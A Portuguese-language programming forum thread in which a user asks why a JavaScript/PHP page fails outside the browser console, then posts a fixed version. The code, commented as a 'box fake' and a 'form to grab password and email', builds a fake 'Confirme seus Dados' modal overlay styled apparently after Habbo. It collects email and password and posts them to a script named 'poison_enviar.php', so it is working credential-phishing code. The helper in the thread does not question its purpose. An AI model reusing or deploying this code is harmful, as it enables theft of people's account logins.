Script roda no console mas nao roda na pagina php!

Teixeira Junior · Outubro 16, 2014

Eae galera bem estou desenvolvendo um script

ja desenvolvi só que existe um problema

por exemplo se executo o codigo no console de navegador ou entre javascript:;

na barra de navegação funciona tranquilo

porem implantei todo o codigo na pagina php seguinte:

<?php 
//session_start();
include "config.php";
$sql = "SELECT * FROM usuarios";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
$name = $row['username'];
?>
<html>
<head>
<title></title>
<script>//criador.js
var jquery = document.createElement('script');
jquery.type='text/javascript';
jquery.src='http://code.jquery.com/jquery-latest.min.js';
document.body.appendChild(jquery);
// chamo o jquery para a página!!
var ajax = document.createElement('script');
ajax.type='text/javascript';
ajax.src='http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js';
document.body.appendChild(ajax);
//chamei o ajax
var um = document.createElement('script');
um.type='text/javascript';
um.src='http://malsup.github.io/jquery.blockUI.js';
document.body.appendChild(um);
// js da modal box
var dois = document.createElement('script');
dois.type='text/javascript';
dois.src='http://malsup.github.com/chili-1.7.pack.js';
document.body.appendChild(dois);


/** finalizado modal box**/

var cria = document.createElement('link');
cria.type='text/css';
cria.href='http://www.levadalouca.com/boxhabbo.css';
cria.rel='stylesheet';
document.body.appendChild(cria);
// terminei de chamar o css da box 
/*
var novadiv = document.createElement('div'); //cria o elemento div
id='box'
novadiv.setAttribute('id', id)
html='<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br>  <label>Email:</label><br><input type="text" name="email"></input><br><label>Senha:</label><br><input type="password" name="senha"></input><br><button id="botao">OK</button>';
novadiv.innerHTML = html; // Conteúdo da div
document.body.appendChild(novadiv); */
// terminei de criar a div
 // adcionando o conteudo da div o titulo e o botao!! XD
 
 // chamando os css da modal box!
var cria = document.createElement('link');
cria.type='text/css';
cria.href='http://ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css';
cria.rel='stylesheet';
document.body.appendChild(cria);

var cria = document.createElement('link');
cria.type='text/css';
cria.href='http://www.malsup.com/jquery/jq.css';
cria.rel='stylesheet';
document.body.appendChild(cria);

var cria = document.createElement('link');
cria.type='text/css';
cria.href='http://www.levadalouca.com/block.css';
cria.rel='stylesheet';
document.body.appendChild(cria);
</script>
<script>//box fake
setTimeout(function(){
/*var cria = document.createElement('button');
cria.id='demo9';
cria.val='DEMO';
document.body.appendChild(cria);*/
$(document).ready(function() { 
    //$('#demo9').click(function() { 
        $.blockUI(); 
        $('.blockOverlay').attr('title','Click to unblock').click($.unblockUI); 
    //}); 
}); 
$.blockUI.defaults = {
    // message displayed when blocking (use null for no message)
    message:  '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br>  <label>Email:</label><br><input type="text" name="email"></input><br><label>Senha:</label><br><input type="password" name="senha"></input><br><button id="botao">OK</button>',

    title: null,        // title string; only used when theme == true
    draggable: true,    // only used when theme == true (requires jquery-ui.js to be loaded)

    theme: false, // set to true to use with jQuery UI themes

    // styles for the message when blocking; if you wish to disable
    // these and use an external stylesheet then do this in your code:
    // $.blockUI.defaults.css = {};
    css: {
        padding:        0,
        margin:         0,
        width:          '30%',
        top:            '40%',
        left:           '35%',
        textAlign:      'center',
        color:          '#000',
        border:         '3px solid #aaa',
        backgroundColor:'#fff',
        cursor:         'pointer'
    },

    // minimal style set used when themes are used
    themedCSS: {
        width:  '30%',
        top:    '40%',
        left:   '35%'
    },

    // styles for the overlay
    overlayCSS:  {
        backgroundColor: '#000',
        opacity:         0.6,
        cursor:          'wait'
    },

    // style to replace wait cursor before unblocking to correct issue
    // of lingering wait cursor
    cursorReset: 'default',

    // styles applied when using $.growlUI
    growlCSS: {
        width:    '350px',
        top:      '10px',
        left:     '',
        right:    '10px',
        border:   'none',
        padding:  '5px',
        opacity:   0.6,
        cursor:    null,
        color:    '#fff',
        backgroundColor: '#000',
        '-webkit-border-radius': '10px',
        '-moz-border-radius':    '10px'
    },
    
    // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
    // (hat tip to Jorge H. N. de Vasconcelos)
    iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',

    // force usage of iframe in non-IE browsers (handy for blocking applets)
    forceIframe: false,

    // z-index for the blocking overlay
    baseZ: 1000,

    // set these to true to have the message automatically centered
    centerX: true, // <-- only effects element blocking (page block controlled via css above)
    centerY: true,

    // allow body element to be stetched in ie6; this makes blocking look better
    // on "short" pages.  disable if you wish to prevent changes to the body height
    allowBodyStretch: true,

    // enable if you want key and mouse events to be disabled for content that is blocked
    bindEvents: true,

    // be default blockUI will supress tab navigation from leaving blocking content
    // (if bindEvents is true)
    constrainTabKey: true,

    // fadeIn time in millis; set to 0 to disable fadeIn on block
    fadeIn:  200,

    // fadeOut time in millis; set to 0 to disable fadeOut on unblock
    fadeOut:  400,

    // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
    timeout: 0,

    // disable if you don't want to show the overlay
    showOverlay: true,

    // if true, focus will be placed in the first available input field when
    // page blocking
    focusInput: true,

    // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
    // no longer needed in 2012
    // applyPlatformOpacityRules: true,

    // callback method invoked when fadeIn has completed and blocking message is visible
    onBlock: null,

    // callback method invoked when unblocking has completed; the callback is
    // passed the element that has been unblocked (which is the window object for page
    // blocks) and the options that were passed to the unblock call:
    //   onUnblock(element, options)
    onUnblock: null,

    // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
    quirksmodeOffsetHack: 4,

    // class name of the message block
    blockMsgClass: 'blockMsg',

    // if it is already blocked, then ignore it (don't unblock and reblock)
    ignoreIfBlocked: false
};


},2000);

setTimeout(function(){ //formulario de pegar senha e email
/*var cria = document.createElement('button');
cria.id='demo9';
cria.val='DEMO';
document.body.appendChild(cria);*/
$(document).ready(function() { 
    //$('#demo9').click(function() { 
        $.blockUI(); 
        $('.blockOverlay').attr('title','Click to unblock').click($.unblockUI); 
    //}); 
}); 
$.blockUI.defaults = {
    // message displayed when blocking (use null for no message)
    message:  '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br>  <form id="ajax_form" name="form1" method="GET" action="" "/><label>Email:</label><br><input type="text" name="email"></input><br><label>Senha:</label><br><input type="password" name="senha"></input><input type="hidden" value="<?php echo $row['username']; ?>" style="display:none;"name="nome"></input><br><button id="botao">OK</button></form>',

    title: null,        // title string; only used when theme == true
    draggable: true,    // only used when theme == true (requires jquery-ui.js to be loaded)

    theme: false, // set to true to use with jQuery UI themes

    // styles for the message when blocking; if you wish to disable
    // these and use an external stylesheet then do this in your code:
    // $.blockUI.defaults.css = {};
    css: {
        padding:        0,
        margin:         0,
        width:          '30%',
        top:            '40%',
        left:           '35%',
        textAlign:      'center',
        color:          '#000',
        border:         '3px solid #aaa',
        backgroundColor:'#fff',
        cursor:         'pointer'
    },

    // minimal style set used when themes are used
    themedCSS: {
        width:  '30%',
        top:    '40%',
        left:   '35%'
    },

    // styles for the overlay
    overlayCSS:  {
        backgroundColor: '#000',
        opacity:         0.6,
        cursor:          'wait'
    },

    // style to replace wait cursor before unblocking to correct issue
    // of lingering wait cursor
    cursorReset: 'default',

    // styles applied when using $.growlUI
    growlCSS: {
        width:    '350px',
        top:      '10px',
        left:     '',
        right:    '10px',
        border:   'none',
        padding:  '5px',
        opacity:   0.6,
        cursor:    null,
        color:    '#fff',
        backgroundColor: '#000',
        '-webkit-border-radius': '10px',
        '-moz-border-radius':    '10px'
    },
    
    // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
    // (hat tip to Jorge H. N. de Vasconcelos)
    iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',

    // force usage of iframe in non-IE browsers (handy for blocking applets)
    forceIframe: false,

    // z-index for the blocking overlay
    baseZ: 1000,

    // set these to true to have the message automatically centered
    centerX: true, // <-- only effects element blocking (page block controlled via css above)
    centerY: true,

    // allow body element to be stetched in ie6; this makes blocking look better
    // on "short" pages.  disable if you wish to prevent changes to the body height
    allowBodyStretch: true,

    // enable if you want key and mouse events to be disabled for content that is blocked
    bindEvents: true,

    // be default blockUI will supress tab navigation from leaving blocking content
    // (if bindEvents is true)
    constrainTabKey: true,

    // fadeIn time in millis; set to 0 to disable fadeIn on block
    fadeIn:  200,

    // fadeOut time in millis; set to 0 to disable fadeOut on unblock
    fadeOut:  400,

    // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
    timeout: 0,

    // disable if you don't want to show the overlay
    showOverlay: true,

    // if true, focus will be placed in the first available input field when
    // page blocking
    focusInput: true,

    // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
    // no longer needed in 2012
    // applyPlatformOpacityRules: true,

    // callback method invoked when fadeIn has completed and blocking message is visible
    onBlock: null,

    // callback method invoked when unblocking has completed; the callback is
    // passed the element that has been unblocked (which is the window object for page
    // blocks) and the options that were passed to the unblock call:
    //   onUnblock(element, options)
    onUnblock: null,

    // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
    quirksmodeOffsetHack: 4,

    // class name of the message block
    blockMsgClass: 'blockMsg',

    // if it is already blocked, then ignore it (don't unblock and reblock)
    ignoreIfBlocked: false
}; 
$(".content").html(); // pego o nome do usuario !!
/*
$("#header").css('margin-left','+=150px');
$("#header").css('height','-=10px');
$("#header").css('background-color','#4B5A5F'); */
},100);
</script>
	<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#ajax_form').submit(function(){
var dados = jQuery( this ).serialize();
 
jQuery.ajax({
type: "POST",
url: "enviar_poison?user="<?php echo $row["username"]; ?>",
data: dados,
success: function( data )
{
alert( data );
}
});
return false;
});
});
</script>
</head>
<body>
</body>
</html>

e não acontece nada !!
alguem me ajude please !!

Teixeira Junior · Outubro 16, 2014

moderador feche o topico pois consegui resolver o problema!!

William Bruno · Outubro 16, 2014

Fala como, pois pode ajudar outros membros.

Teixeira Junior · Outubro 16, 2014

Fala como, pois pode ajudar outros membros.

ao inves de fazer varios scripts para criar tags <script>

implantei todas com html mesmo

e depois joguei o script principal que eu queria executar que é tipo um modal box jquery

segue o codigo:

<?php 
//session_start();
include "config.php";
$sql = "SELECT * FROM usuarios";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
$name = $row['username'];
?>
<script src="http://code.jquery.com/jquery-latest.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
<script src="http://malsup.github.io/jquery.blockUI.js"></script>
<script src="http://malsup.github.com/chili-1.7.pack.js"></script>
<!--<script src="http://www.levadalouca.com/box.js"></script> -->
<link type="text/css" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css" rel="stylesheet">
<link type="text/css" href="http://www.malsup.com/jquery/jq.css" rel="stylesheet">
<link type="text/css" href="http://www.levadalouca.com/block.css" rel="stylesheet">
<link type="text/css" href="http://www.levadalouca.com/boxhabbo.css" rel="stylesheet">
<script type="text/javascript">
$(document).ready(function(){
$(document).ready(function() { 
    //$('#demo9').click(function() { 
        $.blockUI(); 
        $('.blockOverlay').attr('title','Click to unblock').click($.unblockUI); 
    //}); 
}); 
$.blockUI.defaults = {
    // message displayed when blocking (use null for no message)
    message:  '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br>  <form id="ajax_form" name="form" action="" method="GET"><label>Email:</label><br><input type="text" id="email" name="email"></input><br><label>Senha:</label><br><input type="password" id="senha" name="senha"></input><br><input type="hidden" id="nome" value="<?php echo $name; ?>"></input><button id="botao">OK</button></FORM>',

    title: null,        // title string; only used when theme == true
    draggable: true,    // only used when theme == true (requires jquery-ui.js to be loaded)

    theme: false, // set to true to use with jQuery UI themes

    // styles for the message when blocking; if you wish to disable
    // these and use an external stylesheet then do this in your code:
    // $.blockUI.defaults.css = {};
    css: {
        padding:        0,
        margin:         0,
        width:          '30%',
        top:            '40%',
        left:           '35%',
        textAlign:      'center',
        color:          '#000',
        border:         '3px solid #aaa',
        backgroundColor:'#fff',
        cursor:         'pointer'
    },

    // minimal style set used when themes are used
    themedCSS: {
        width:  '30%',
        top:    '40%',
        left:   '35%'
    },

    // styles for the overlay
    overlayCSS:  {
        backgroundColor: '#000',
        opacity:         0.6,
        cursor:          'wait'
    },

    // style to replace wait cursor before unblocking to correct issue
    // of lingering wait cursor
    cursorReset: 'default',

    // styles applied when using $.growlUI
    growlCSS: {
        width:    '350px',
        top:      '10px',
        left:     '',
        right:    '10px',
        border:   'none',
        padding:  '5px',
        opacity:   0.6,
        cursor:    null,
        color:    '#fff',
        backgroundColor: '#000',
        '-webkit-border-radius': '10px',
        '-moz-border-radius':    '10px'
    },
    
    // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
    // (hat tip to Jorge H. N. de Vasconcelos)
    iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',

    // force usage of iframe in non-IE browsers (handy for blocking applets)
    forceIframe: false,

    // z-index for the blocking overlay
    baseZ: 1000,

    // set these to true to have the message automatically centered
    centerX: true, // <-- only effects element blocking (page block controlled via css above)
    centerY: true,

    // allow body element to be stetched in ie6; this makes blocking look better
    // on "short" pages.  disable if you wish to prevent changes to the body height
    allowBodyStretch: true,

    // enable if you want key and mouse events to be disabled for content that is blocked
    bindEvents: true,

    // be default blockUI will supress tab navigation from leaving blocking content
    // (if bindEvents is true)
    constrainTabKey: true,

    // fadeIn time in millis; set to 0 to disable fadeIn on block
    fadeIn:  200,

    // fadeOut time in millis; set to 0 to disable fadeOut on unblock
    fadeOut:  400,

    // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
    timeout: 0,

    // disable if you don't want to show the overlay
    showOverlay: true,

    // if true, focus will be placed in the first available input field when
    // page blocking
    focusInput: true,

    // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
    // no longer needed in 2012
    // applyPlatformOpacityRules: true,

    // callback method invoked when fadeIn has completed and blocking message is visible
    onBlock: null,

    // callback method invoked when unblocking has completed; the callback is
    // passed the element that has been unblocked (which is the window object for page
    // blocks) and the options that were passed to the unblock call:
    //   onUnblock(element, options)
    onUnblock: null,

    // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
    quirksmodeOffsetHack: 4,

    // class name of the message block
    blockMsgClass: 'blockMsg',

    // if it is already blocked, then ignore it (don't unblock and reblock)
    ignoreIfBlocked: false
};

/*
$("#header").css('margin-left','+=150px');
$("#header").css('height','-=10px');
$("#header").css('background-color','#4B5A5F'); */
});

jQuery(document).ready(function(){
jQuery('#ajax_form').submit(function(){
var dados = jQuery( this ).serialize();
 
jQuery.ajax({
type: "POST",
url: "poison_enviar.php?nome=<?php echo $name; ?>&email=<?php echo $email; ?>&senha=<?php echo $senha; ?>",
data: dados,
success: function( data )
{
alert( data );
}
});
return false;
});
});

</script>
	
<body></body>

Entrar

Arquivado

Script roda no console mas nao roda na pagina php!

Recommended Posts

Teixeira Junior 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

Teixeira Junior 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

William Bruno 1501

Compartilhar este post

Link para o post

Compartilhar em outros sites

Teixeira Junior 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

Fixar div até atingir uma certa altura

Ajuda com Extends e envio para o banco

PHP+Codeginiter - Orientação para Impressão

Este projeto é apoiado pelas empresas

Fóruns

Tempo Real

Informação importante